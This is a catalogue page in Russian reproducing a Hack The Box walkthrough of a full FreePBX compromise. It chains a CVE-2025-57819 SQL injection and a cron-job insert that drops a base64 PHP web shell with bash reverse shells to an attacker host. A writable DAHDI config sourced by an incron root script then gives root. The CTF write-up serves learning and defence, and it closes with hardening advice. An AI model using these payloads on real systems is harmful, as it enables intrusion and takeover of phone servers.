Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FreePBX-SQLi-Exploit-Privilege-escalation — Этот прохождение документирует полную компрометацию машины HTB Connected. | Kitploit
Инструменты/GitHubGitHub/itsc1sco/freepbx-sqli-exploit-privilege-escalation
Повышение привилегийАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
itsc1sco/freepbx-sqli-exploit-privilege-escalation

FreePBX-SQLi-Exploit-Privilege-escalation

Этот прохождение документирует полную компрометацию машины HTB Connected.

Репозиторий
1171 месяц назадЕщё не проверено

FreePBX: от неаутентифицированной SQL-инъекции до root-оболочки

CVE-2025-57819 • FreePBX 16.0.40.7 • HTB Connected


📋 Краткое резюме

В этом руководстве документируется полная компрометация машины HTB Connected.

Цепочка атак начинается с неаутентифицированной SQL-инъекции в FreePBX, которая используется для получения выполнения кода от имени пользователя asterisk через созданную cron-задачу. Записываемый конфигурационный файл в сочетании с триггером incron затем позволяет повысить привилегии до root.

Этот пример демонстрирует, как уязвимости веб-приложений в сочетании со слабыми локальными разрешениями и небезопасной автоматизацией с привилегиями могут привести к полной компрометации системы.


🔍 Шаг 1 – Разведка и обнаружение виртуального хоста

Быстрое сканирование портов выявляет открытые порты цели:

root@kitploit:~
nmap -T5 --open <MACHINE_IP>
ПортСервис
22SSH
80HTTP
443HTTPS

Дальнейшее исследование показывает сервер Apache с PHP 7.4 и HTTP-редиректом на:

root@kitploit:~
http://connected.htb/

Для корректного доступа к сайту добавьте сопоставление виртуального хоста:

root@kitploit:~
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts

Переход на http://connected.htb/ показывает:

root@kitploit:~
FreePBX 16.0.40.7

🕳️ Шаг 2 – Эксплуатация CVE-2025-57819 (SQL-инъекция)

Исследование выявляет CVE-2025-57819 — неаутентифицированную error-based SQL-инъекцию в компоненте Endpoint Manager системы FreePBX.

Подтвердите уязвимость, извлекая пользователя базы данных:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

Ответ содержит:

root@kitploit:~
~USER:freepbxuser@localhost~

Это подтверждает, что SQL-инъекция работает и что приложение подключается к MySQL как:

root@kitploit:~
freepbxuser@localhost

⚙️ Шаг 3 – Получение выполнения кода через запланированные задачи

FreePBX хранит запланированные задачи в таблице cron_jobs.

Внедряя вредоносную запись в эту таблицу, можно запланировать выполнение произвольных команд.

Следующая полезная нагрузка создаёт PHP-веб-шелл в корне веб-каталога:

root@kitploit:~
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "

Сервер возвращает стандартную ошибку 500, но SQL-запрос выполняется успешно.

Примерно через минуту проверьте, что веб-шелл был создан:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=id"

Вывод:

root@kitploit:~
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Теперь у нас есть выполнение команд от имени пользователя asterisk через HTTP-запросы.


💻 Шаг 4 – Установка интерактивной reverse-оболочки

Запустите Netcat-слушатель на атакующей машине:

root@kitploit:~
nc -lvnp 4444

Запустите Bash reverse-оболочку через веб-шелл:

root@kitploit:~
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"

Соединение установлено:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)

Теперь у нас есть интерактивная оболочка от имени пользователя asterisk.


🔎 Шаг 5 – Локальная разведка и путь повышения привилегий

Поиск записываемых файлов в /etc, исключая известные ложные срабатывания:

root@kitploit:~
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20

Примечательный результат:

root@kitploit:~
/etc/dahdi/init.conf

Далее изучите конфигурацию incron:

root@kitploit:~
cat /etc/incron.d/*

Это раскрывает следующий наблюдатель файловой системы:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Это означает, что всякий раз, когда в файл-маркер:

root@kitploit:~
/var/spool/asterisk/sysadmin/dahdi_restart

производится запись, выполняется следующий скрипт:

root@kitploit:~
/usr/sbin/sysadmin_dahdi_restart

Изучение скрипта показывает, что он подключает:

root@kitploit:~
/etc/dahdi/init.conf

Поскольку /etc/dahdi/init.conf доступен для записи пользователю asterisk и подключается root-процессом, это обеспечивает путь к выполнению произвольных команд с правами root.


🚀 Шаг 6 – Повышение привилегий до root через DAHDI

Запустите второй Netcat-слушатель на порту 4445:

root@kitploit:~
nc -lvnp 4445

Из оболочки asterisk добавьте полезную нагрузку reverse-оболочки в записываемый конфигурационный файл:

root@kitploit:~
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf

Запустите действие incron, записав в отслеживаемый файл:

root@kitploit:~
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

В течение нескольких секунд root-оболочка подключается:

root@kitploit:~
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)

🎯 Полный доступ с правами root получен!


🏁 Шаг 7 – Захват флагов

Пользовательский флаг

root@kitploit:~
cat /home/asterisk/user.txt

Вывод:

root@kitploit:~
HTB{...user_flag...}

Root-флаг

root@kitploit:~
cat /root/root.txt

Вывод:

root@kitploit:~
HTB{...root_flag...}

📚 Сводка цепочки атак

root@kitploit:~
Неаутентифицированная SQL-инъекция
            │
            ▼
     Выполнение MySQL-запроса
            │
            ▼
   Внедрение вредоносной cron-задачи
            │
            ▼
      PHP-веб-шелл
            │
            ▼
      Оболочка asterisk
            │
            ▼
 Записываемый /etc/dahdi/init.conf
            │
            ▼
       Триггер incron
            │
            ▼
      Выполнение команд от root
            │
            ▼
          root

📊 Извлечённые уроки

УязвимостьВлияние
Неаутентифицированная SQL-инъекцияРаскрыла контекст пользователя БД и обеспечила плацдарм для записи вредоносных данных
Внедрение cron-задачиПозволила удалённое выполнение кода от имени низкопривилегированной сервисной учётной записи

🔐 Рекомендации

1. Проверяйте пользовательский ввод

Используйте параметризованные запросы и строгую проверку ввода для всех операций с базой данных.

Никогда не конкатенируйте управляемый пользователем ввод напрямую в SQL-запросы.

2. Ограничьте разрешения конфигурационных файлов

Конфигурационные файлы, используемые привилегированными сервисами, не должны быть доступны для записи низкопривилегированным сервисным учётным записям.

В частности, проверьте разрешения на файлы в:

root@kitploit:~
/etc/

3. Проверяйте cron- и incron-задачи

Регулярно аудируйте запланированные задачи и наблюдатели файловой системы.

Привилегированные задачи не должны выполнять команды на основе файлов, которые могут изменять недоверенные пользователи.

4. Избегайте подключения недоверенных конфигураций

Скрипты, принадлежащие root, должны избегать подключения конфигурационных файлов, которые могут быть изменены непривилегированными пользователями.

5. Применяйте принцип минимальных привилегий

Веб-приложения и сервисы должны работать с минимальными разрешениями, необходимыми для их работы.

Снижение привилегий окружения FreePBX/Apache может значительно ограничить последствия успешной компрометации приложения.


🏆 Итоговая цепочка атак

root@kitploit:~
CVE-2025-57819
      │
      ▼
Неаутентифицированная SQL-инъекция
      │
      ▼
Манипуляция таблицей cron_jobs
      │
      ▼
Запланированный PHP-веб-шелл
      │
      ▼
Пользователь asterisk
      │
      ▼
Записываемый /etc/dahdi/init.conf
      │
      ▼
Наблюдатель файлов incron
      │
      ▼
Привилегированный скрипт DAHDI
      │
      ▼
Root-оболочка
      │
      ▼
🏆 Полная компрометация системы

Отказ от ответственности: Этот материал предназначен для образовательных целей и авторизованного тестирования безопасности, такого как лаборатории Hack The Box и контролируемые среды.

Скачать инструмент
Записываемый конфигурационный файл + incronПозволила прямое повышение привилегий до root
Привилегированный скрипт, подключающий записываемый пользователем файлПозволила выполнение произвольных команд с root-привилегиями